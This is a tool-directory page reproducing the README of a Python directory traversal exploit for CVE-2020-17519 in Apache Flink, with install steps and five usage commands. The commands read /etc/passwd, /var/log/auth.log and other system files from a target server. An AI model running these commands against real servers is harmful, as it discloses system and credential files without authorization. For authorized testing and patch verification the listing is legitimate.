Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2020-17519 — Python-based directory traversal exploit for CVE-2020-17519 (Apache Flink) with multi-threading, proxy support, and configurable depth for retrieving log files from vulnerable targets. | Kitploit
Tools/GitHubGitHub/gazettel/cve-2020-17519
ReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHubgazettel/cve-2020-17519

CVE-2020-17519

Python-based directory traversal exploit for CVE-2020-17519 (Apache Flink) with multi-threading, proxy support, and configurable depth for retrieving log files from vulnerable targets.

View Repository
11 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2020-17519

Log Traversal Tool

A Python tool that uses a directory traversal technique to request log files from a target URL. It displays real-time progress, supports proxy configuration, and optionally saves valid responses.


Features

  • Directory Traversal with Configurable Depth
    Uses a configurable depth for directory traversal.
  • Single File or Multiple File Paths
    Supports requesting a single file path or multiple paths from a file.
  • Multi-threading Support
    Executes requests concurrently using multiple threads.
  • Proxy Support
    Allows configuration of a proxy for the requests.
  • Save Valid Responses
    Saves valid responses into individual files.
  • Real-time Progress Display
    Shows progress in real time using pwntools.

Requirements

  • Python 3.6 or above
  • Python packages: requests and pwntools (pwn)
  • Standard libraries: argparse, os, concurrent.futures, threading

Installation

  1. Clone the repository
    root@kitploit:~
    git clone https://github.com/GazettEl/CVE-2020-17519.git
    pip install requests pwntools
    

Usage

The tool can be executed from the command line with various options. Below are some examples:

Example 1: Request a Single File Path

root@kitploit:~
python CVE-2020-17519.py --target http://10.10.110.78:8081/ --depth 12 --file-path /var/log/syslog --threads 1 --save

Example 2: Request Multiple File Paths from a List

root@kitploit:~
python CVE-2020-17519.py --target http://10.10.110.78:8081/ --depth 12 --file-list file_paths.txt --threads 4 --proxy none

Example 3: Run with Proxy Disabled

root@kitploit:~
python CVE-2020-17519.py --target http://10.10.110.78:8081/ --depth 10 --file-path /var/log/auth.log --threads 2 --proxy none

Example 4: Use a File List and Save Valid Responses

root@kitploit:~
python CVE-2020-17519.py --target http://10.10.110.78:8081/ --depth 15 --file-list paths.txt --threads 4 --save

Example 5: Request a Single File with Increased Depth

root@kitploit:~
python CVE-2020-17519.py --target http://10.10.110.78:8081/ --depth 20 --file-path /etc/passwd --threads 1

For more details, refer to the source code and inline comments.

Download Tool